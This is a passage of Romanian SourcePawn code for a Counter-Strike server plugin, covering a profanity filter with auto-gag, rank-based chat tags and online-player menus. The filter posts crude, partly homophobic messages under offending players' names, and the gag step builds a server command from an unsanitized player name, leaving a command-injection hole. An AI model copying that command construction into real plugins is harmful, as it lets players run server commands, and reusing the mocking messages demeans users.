			{
				PrintToChat(client, " \x05[BOT]ESL\x01: \x10Poti porni doar un sunet pe rundă!");
			}
		}
	}
	for(int j = 0; j < sizeof(CuvinteInterzise); ++j)
	{
		if(StrContains(args, CuvinteInterzise[j]) != -1 )
		//if(strncmp(args, CuvinteInterzise[j], true))
		{
			char strg[50];
			warn[client] += 1;
			switch(GetRandomInt(1, 6))
			{
				case 1: Format(strg, sizeof(strg), "Imi place serverul, dar sunt gay :x");
				case 2: Format(strg, sizeof(strg), "E frumos serverul, pacat ca sunt blond.");
				case 3: Format(strg, sizeof(strg), "Care a îndrăznit să-mi deschidă cușca?");
				case 4: Format(strg, sizeof(strg), "La cât de prost sunt am licență...");
				case 5: Format(strg, sizeof(strg), "Imi pute puța de la labă!");
				case 6: Format(strg, sizeof(strg), "Iubesc serverul ăsta!");
			}
			if(warn[client] == 3)
			{
				char names[50];
				GetClientName(client, names, sizeof(names));
				switch(GetRandomInt(1, 14))
				{
					case 1: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag1.mp3\"");
					case 2: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag2.mp3\"");
					case 3: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag3.mp3\"");
					case 4: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag4.mp3\"");
					case 5: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag5.mp3\"");
					case 6: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag6.mp3\"");
					case 7: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag7.mp3\"");
					case 8: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag8.mp3\"");
					case 9: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag9.mp3\"");
					case 10: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag10.mp3\"");
					case 11: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag11.mp3\"");
					case 12: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag12.mp3\"");
					case 13: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag13.mp3\"");
					case 14: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag14.mp3\"");
				}
				ServerCommand("sm_gag %s 5 AutoGag", names);
				PrintToChat(client, " \x05[BOT]ESL\x01: Warn-urile tale au fost resetate la \x060\x01.");
				warn[client] = 0;
			}
			else
			{
				switch(GetRandomInt(1, 14))
				{
					case 1: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag1.mp3\"");
					case 2: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag2.mp3\"");
					case 3: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag3.mp3\"");
					case 4: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag4.mp3\"");
					case 5: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag5.mp3\"");
					case 6: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag6.mp3\"");
					case 7: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag7.mp3\"");
					case 8: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag8.mp3\"");
					case 9: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag9.mp3\"");
					case 10: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag10.mp3\"");
					case 11: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag11.mp3\"");
					case 12: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag12.mp3\"");
					case 13: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag13.mp3\"");
					case 14: ClientCommand(client, "play \"*xsag/sunete/autogag/autogag14.mp3\"");
				}
				PrintToChat(client, " \x05[BOT]ESL\x01: Ai primit un \x10warn\x01 pentru limbaj urat.");
				PrintToChat(client, "La \x063\x01 warn-uri primești gag \x105\x01 minute. Ai \06%i \x01/\x06 3\x01.", warn[client]);
			}
			PrintToChatAll("♿ \x0F%s\x08: %s", name, strg);
			return Plugin_Handled;	
		}
	}
	if(StrEqual(command, "say_team"))
	{
		for(int i = 1;i <= MaxClients;i++)
		{
			if(IsClientInGame(i))
			{
				AdminId admin = GetUserAdmin(client);
				if(admin == INVALID_ADMIN_ID)
				{
					if(IsClientGoldMember[client])
					{
						if(GetClientTeam(client) == 3)
						{
							if(GetClientTeam(i) == 3)
							{
								if(IsPlayerAlive(client))
								{
									PrintToChat(i, " \x0C[CT]\x04[Gold] \x0C%s\x08: %s", name, args);
								}
								else
								{
									PrintToChat(i, "☠︎ \x0C[CT]\x04[Gold] \x0C%s\x08: %s", name, args);
								}
							}
						}
						else if(GetClientTeam(client) == 2)
						{
							if(GetClientTeam(i) == 2)
							{
								if(IsPlayerAlive(client))
								{
									PrintToChat(i, " \x09[T]\x04[Gold] \x09%s\x08: %s", name, args);
								}
								else
								{
									PrintToChat(i, "☠︎ \x09[T]\x04[Gold] \x09%s\x08: %s", name, args);
								}
							}
						}
						else if(GetClientTeam(client) == 1)
						{
							if(GetClientTeam(i) == 1)
							{
								PrintToChat(i, "⌛ [S]\x04[Gold] \x01%s\x08: %s", name, args);
							}
						}
					}
					else
					{
						if(GetClientTeam(client) == 3)
						{
							if(GetClientTeam(i) == 3)
							{
								if(IsPlayerAlive(client))
								{
									
									PrintToChat(i, " \x0C[CT] \x0C%s\x08: %s", name, args);
								}
								else
								{
									PrintToChat(i, "☠︎ \x0C[CT] \x0C%s\x08: %s", name, args);
								}	
							}
						}
						else if(GetClientTeam(client) == 2)
						{
							if(GetClientTeam(i) == 2)
							{
								if(IsPlayerAlive(client))
								{
									PrintToChat(i, " \x09[T] \x09%s\x08: %s", name, args);
									
								}
								else
								{
									PrintToChat(i, "☠︎ \x09[T] \x09%s\x08: %s", name, args);
									
								}
							}
						}
						else if(GetClientTeam(client) == 1)
						{
							if(GetClientTeam(i) == 1)
							{
								PrintToChat(i, "⌛ [S] \x01%s\x08: %s", name, args);	
							}
						}
					}
				}
				else if(admin != INVALID_ADMIN_ID)
				{
					char sGroup[32];
					if ((GetAdminGroup(admin, 0, sGroup, sizeof(sGroup)) != INVALID_GROUP_ID))
					{
						if(TagChatMeniu[client])
						{
							if(StrEqual(sGroup, "Owner+V.I.P") || StrEqual(sGroup, "Owner"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[Owner] \x0C%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[Owner] \x0C%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[Owner] \x09F%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[Owner] \x09%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[Owner] \x01%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Co-Owner+V.I.P") || StrEqual(sGroup, "Co-Owner"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[Co-Owner] \x0C%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[Co-Owner] \x0C%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[Co-Owner] \x09%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[Co-Owner] \x09%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[Co-Owner] \x01%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Supervizor+V.I.P") || StrEqual(sGroup, "Supervizor"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[Supervizor] \x0C%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[Supervizor] \x0C%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[Supervizor] \x09%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[Supervizor] \x09%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[Supervizor] \x01%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Administrator+V.I.P") || StrEqual(sGroup, "Administrator"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[Administrator] \x0C%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[Administrator] \x0C%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[Administrator] \x09%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[Administrator] \x09%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[Administrator] \x01%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Moderator+V.I.P") || StrEqual(sGroup, "Moderator"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[Moderator] \x0C%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[Moderator] \x0C%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[Moderator] \x09%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[Moderator] \x09%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[Moderator] \x01%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Helper+V.I.P") || StrEqual(sGroup, "Helper"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[Helper] \x0C%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[Helper] \x0C%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[Helper] \x09%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[Helper] \x09%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[Helper] \x01%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "V.I.P"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[V.I.P] \x0C%s\x08: %s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[V.I.P] \x0C%s\x08: %s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[V.I.P] \x09%s\x08: %s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[V.I.P] \x09%s\x08: %s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[V.I.P] \x01%s\x08: %s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Miss+V.I.P") || StrEqual(sGroup, "Miss"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT]\x04[Miss] \x0C%s\x08: %s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT]\x04[Miss] \x0C%s\x08: %s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T]\x04[Miss] \x09%s\x08: %s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T]\x04[Miss] \x09%s\x08: %s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S]\x04[Miss] \x01%s\x08: %s", name, args);
									}
								}
								else if(StrEqual(sGroup, "Slot+V.I.P") || StrEqual(sGroup, "Miss"))
								{
									if(GetClientTeam(client) == 3)
									{
										if(GetClientTeam(i) == 3)
										{
											if(IsPlayerAlive(client))
											{
												PrintToChat(i, " \x0C[CT]\x04[Slot] \x0C%s\x08: %s", name, args);
											}
											else
											{
												PrintToChat(i, "☠︎ \x0C[CT]\x04[Slot] \x0C%s\x08: %s", name, args);
											}
										}
									}
									else if(GetClientTeam(client) == 2)
									{
										if(GetClientTeam(i) == 2)
										{
											if(IsPlayerAlive(client))
											{
												PrintToChat(i, " \x09[T]\x04[Slot] \x09%s\x08: %s", name, args);
											}
											else
											{
												PrintToChat(i, "☠︎ \x09[T]\x04[Slot] \x09%s\x08: %s", name, args);
											}
										}
									}
									else if(GetClientTeam(client) == 1)
									{
										if(GetClientTeam(i) == 1)
										{
											PrintToChat(i, "⌛ [S]\x04[Slot] \x01%s\x08: %s", name, args);
										}
									}
								}
							}
						}
						else
						{
							if(StrEqual(sGroup, "Owner+V.I.P") || StrEqual(sGroup, "Owner") || StrEqual(sGroup, "Co-Owner+V.I.P") || StrEqual(sGroup, "Co-Owner") || StrEqual(sGroup, "Supervizor+V.I.P") || StrEqual(sGroup, "Supervizor") ||
							StrEqual(sGroup, "Administrator+V.I.P") || StrEqual(sGroup, "Administrator") || StrEqual(sGroup, "Moderator+V.I.P") || StrEqual(sGroup, "Moderator") ||
							StrEqual(sGroup, "Helper+V.I.P") || StrEqual(sGroup, "Helper") || StrEqual(sGroup, "V.I.P") || StrEqual(sGroup, "Miss+V.I.P") || StrEqual(sGroup, "Miss") ||
							StrEqual(sGroup, "Slot+V.I.P") || StrEqual(sGroup, "Slot"))
							{
								if(GetClientTeam(client) == 3)
								{
									if(GetClientTeam(i) == 3)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x0C[CT] \x0C%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x0C[CT] \x0C%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 2)
								{
									if(GetClientTeam(i) == 2)
									{
										if(IsPlayerAlive(client))
										{
											PrintToChat(i, " \x09[T] \x09%s\x08: \x0A%s", name, args);
										}
										else
										{
											PrintToChat(i, "☠︎ \x09[T] \x09%s\x08: \x0A%s", name, args);
										}
									}
								}
								else if(GetClientTeam(client) == 1)
								{
									if(GetClientTeam(i) == 1)
									{
										PrintToChat(i, "⌛ [S] \x01%s\x08: \x0A%s", name, args);
									}
								}
							}
						}
					}
				}
			}
		}
	}
	if(StrEqual(command, "say"))
	{
		for(int i = 1;i <= MaxClients;i++)
		{
			if(IsClientInGame(i) && IsValidClient(i))
			{
				AdminId admin = GetUserAdmin(client);
				if (admin == INVALID_ADMIN_ID)
				{
					if(IsClientGoldMember[client])
					{
						if(GetClientTeam(client) == 3)
						{
							if(IsPlayerAlive(client))
							{
								PrintToChat(i, " \x04[Gold] \x0C%s\x08: %s", name, args);
							}
							else
							{
								PrintToChat(i, "☠︎ \x04[Gold] \x0C%s\x08: %s", name, args);
							}
						}
						if(GetClientTeam(client) == 2)
						{
							if(IsPlayerAlive(client))
							{
								PrintToChat(i, " \x04[Gold] \x09%s\x08: %s", name, args);
							}
							else
							{
								PrintToChat(i, "☠︎ \x04[Gold] \x09%s\x08: %s", name, args);
							}
						}
						if(GetClientTeam(client) == 1)
						{
							PrintToChat(i, "⌛ \x04[Gold] \x01%s\x08: %s", name, args);
						}
					}
					else
					{
						if(GetClientTeam(client) == 1)
						{
							PrintToChat(i, "⌛ \x01%s\x08: %s", name, args);
						}
						if(GetClientTeam(client) == 2)
						{
							if(IsPlayerAlive(client))
							{
								PrintToChat(i, " \x09%s\x08: %s", name, args);
							}
							else
							{
								PrintToChat(i, "☠︎ \x09%s\x08: %s", name, args);
							}
						}
						if(GetClientTeam(client) == 3)
						{
							if(IsPlayerAlive(client))
							{
								PrintToChat(i, " \x0C%s\x08: %s", name, args);
							}
							else
							{
								PrintToChat(i, "☠︎ \x0C%s\x08: %s", name, args);
							}
						}
					}
				}
				else if(admin != INVALID_ADMIN_ID)
				{
					char sGroup[32];
					if ((GetAdminGroup(admin, 0, sGroup, sizeof(sGroup)) != INVALID_GROUP_ID))
					{
						if(TagChatMeniu[client])
						{
							if(StrEqual(sGroup, "Owner+V.I.P") || StrEqual(sGroup, "Owner"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Owner] \x01%s\x08: \x0A%s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Owner] \x09%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Owner] \x09%s\x08: \x0A%s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Owner] \x0C%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Owner] \x0C%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Co-Owner+V.I.P") || StrEqual(sGroup, "Co-Owner"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Co-Owner] \x01%s\x08: \x0A%s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Co-Owner] \x09%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Co-Owner] \x09%s\x08: \x0A%s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Co-Owner] \x0C%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Co-Owner] \x0C%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Supervizor+V.I.P") || StrEqual(sGroup, "Supervizor"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Supervizor] \x01%s\x08: \x0A%s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Supervizor] \x09%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Supervizor] \x09%s\x08: \x0A%s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Supervizor] \x0C%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Supervizor] \x0C%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Administrator+V.I.P") || StrEqual(sGroup, "Administrator"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Administrator] \x01%s\x08: \x0A%s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Administrator] \x09%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Administrator] \x09%s\x08: \x0A%s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Administrator] \x0C%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Administrator] \x0C%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Moderator+V.I.P") || StrEqual(sGroup, "Moderator"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Moderator] \x01%s\x08: \x0A%s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Moderator] \x09%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Moderator] \x09%s\x08: \x0A%s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Moderator] \x0C%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Moderator] \x0C%s\x08: \x0A%s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Helper+V.I.P") || StrEqual(sGroup, "Helper"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Helper] \x01%s\x08: %s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Helper] \x09%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Helper] \x09%s\x08: %s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Helper] \x0C%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Helper] \x0C%s\x08: %s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "V.I.P"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[V.I.P] \x01%s\x08: %s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[V.I.P] \x09%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[V.I.P] \x09%s\x08: %s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[V.I.P] \x0C%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[V.I.P] \x0C%s\x08: %s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Miss+V.I.P") ||StrEqual(sGroup, "Miss"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Miss] \x01%s\x08: %s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Miss] \x09%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Miss] \x09%s\x08: %s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Miss] \x0C%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Miss] \x0C%s\x08: %s", name, args);
									}
								}
							}
							else if(StrEqual(sGroup, "Slot+V.I.P") ||StrEqual(sGroup, "Slot"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x04[Slot] \x01%s\x08: %s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Slot] \x09%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Slot] \x09%s\x08: %s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x04[Slot] \x0C%s\x08: %s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x04[Slot] \x0C%s\x08: %s", name, args);
									}
								}
							}
						}
						else
						{
							if(StrEqual(sGroup, "Owner+V.I.P") || StrEqual(sGroup, "Owner") || StrEqual(sGroup, "Slot+V.I.P") || StrEqual(sGroup, "Slot") ||
							StrEqual(sGroup, "Miss+V.I.P") ||StrEqual(sGroup, "Miss") || StrEqual(sGroup, "V.I.P") || StrEqual(sGroup, "Helper+V.I.P") || StrEqual(sGroup, "Helper") || 
							StrEqual(sGroup, "Moderator+V.I.P") || StrEqual(sGroup, "Moderator") || StrEqual(sGroup, "Administrator+V.I.P") || StrEqual(sGroup, "Administrator") || 
							StrEqual(sGroup, "Co-Owner+V.I.P") || StrEqual(sGroup, "Co-Owner") || StrEqual(sGroup, "Supervizor+V.I.P") || StrEqual(sGroup, "Supervizor"))
							{
								if(GetClientTeam(client) == 1)
								{
									PrintToChat(i, "⌛ \x01%s\x08: \x0A%s", name, args);
								}
								if(GetClientTeam(client) == 2)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x09%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x09%s\x08: \x0A%s", name, args);
									}
								}
								if(GetClientTeam(client) == 3)
								{
									if(IsPlayerAlive(client))
									{
										PrintToChat(i, " \x0C%s\x08: \x0A%s", name, args);
									}
									else
									{
										PrintToChat(i, "☠︎ \x0C%s\x08: \x0A%s", name, args);
									}
								}
							}	
						}
					}
				}
			}
		}
	}
	return Plugin_Stop;
}  
/* Sfârșit tag în chat */
public Action Comanda_GoldOnline(int client, int args) 
{
	Menu VipsOnline = new Menu(GoldsOnline_Handler);
	int golds = 0;
	for(int index = 1; index < MaxClients; index++)
	{
		if(IsClientInGame(index) && IsClientGoldMember[index]) 
		{
			golds++;
			char VipNameBuffer[32];
			Format(VipNameBuffer, sizeof(VipNameBuffer), "%N", index);
			VipsOnline.AddItem("selected", VipNameBuffer, ITEMDRAW_DISABLED);
		}
	}
	VipsOnline.SetTitle("----------------\nJucători Gold Online: %d\n----------------", golds);
	if(golds <= 0) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Nu sunt jucători Gold online!");
		return Plugin_Handled;
	}
	if(golds == 1) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Este doar un jucător Gold online!");
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Sunt \x04 %d\x01 jucători Gold online!", golds);
	}
	VipsOnline.ExitBackButton = true;
	VipsOnline.Display(client, MENU_TIME_FOREVER);
	return Plugin_Continue;
}

public Action Comanda_BhopsOnline(int client, int args) 
{
	Menu VipsOnline = new Menu(GoldsOnline_Handler);
	int bhops = 0;
	for(int index = 1; index < MaxClients; index++)
	{
		if(IsClientInGame(index) && BhopShop[index] == 1) 
		{
			bhops++;
			char VipNameBuffer[32];
			Format(VipNameBuffer, sizeof(VipNameBuffer), "%N", index);
			VipsOnline.AddItem("selected", VipNameBuffer, ITEMDRAW_DISABLED);
		}
	}
	VipsOnline.SetTitle("----------------\nJucători cu Bhop Online: %d\n----------------", bhops);
	if(bhops <= 0) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Nu sunt jucători cu Bhop online!");
		return Plugin_Handled;
	}
	if(bhops == 1) 
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Este doar un jucător cu Bhop online!");
	}
	else
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: Sunt \x04 %d\x01 jucători cu Bhop online!", bhops);
	}
	VipsOnline.ExitBackButton = true;
	VipsOnline.Display(client, MENU_TIME_FOREVER);
	return Plugin_Continue;
}

public int GoldsOnline_Handler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       Meniu(client);
	}
}

/* Start Online VIP & Admini */
public Action Comanda_VipiOnline(int client, int args) 
{
	Menu VipsOnline = new Menu(VipsOnline_Handler);
	int Vips = 0;
	for(int index = 1; index < MaxClients; index++)
	{
		if(IsClientInGame(index) && IsClientRealVip(index)) 
		{
			Vips++;
			char VipNameBuffer[32];
			Format(VipNameBuffer, sizeof(VipNameBuffer), "%N", index);
			VipsOnline.AddItem("selected", VipNameBuffer, ITEMDRAW_DISABLED);
		}
	}
